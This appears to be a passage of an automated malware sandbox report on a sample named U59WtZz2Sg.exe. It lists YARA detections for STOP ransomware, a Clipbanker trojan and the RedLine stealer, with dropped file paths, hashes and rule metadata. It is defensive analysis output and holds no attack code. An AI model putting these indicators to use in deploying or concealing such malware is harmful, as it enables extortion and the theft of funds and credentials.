Source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000000.345320617.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000B.00000000.345320617.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000000.347198189.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000E.00000000.347198189.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.347163945.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000B.00000002.347163945.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000006.00000000.321377469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.351892792.00000000021A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.304747895.000000000218B000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000000.301522504.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.349827384.00000000004B9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.348844154.000000000210E000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000002.373204030.00000000020F3000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.564552396.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000E.00000002.564552396.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000003.00000002.318350093.00000000020FB000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000011.00000000.363751420.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000000.313991274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000002.378615646.0000000002230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: U59WtZz2Sg.exe PID: 5228, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: U59WtZz2Sg.exe PID: 3692, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: U59WtZz2Sg.exe PID: 1272, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: U59WtZz2Sg.exe PID: 3184, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: U59WtZz2Sg.exe PID: 6132, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 0_2_0040706A
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 0_2_004082BA
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040D240
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00419F90
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040C070
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0042E003
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0042F010
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00410160
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_004021C0
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0044237E
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_004344FF
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00449506
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0043E5A3
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0044B5B1
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040A660
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0041E690
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00402750
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040A710
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040F730
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0044D7A1
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0042C804
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00481920
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0044D9DC
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00449A71
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00443B40
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00402B80
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0044ACFF
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040DD40
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040BDC0
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0042CE51
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00420F30
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00449FE3

Source: U59WtZz2Sg.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 5.3.U59WtZz2Sg.exe.3060000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 5.3.U59WtZz2Sg.exe.3060000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 9.0.U59WtZz2Sg.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
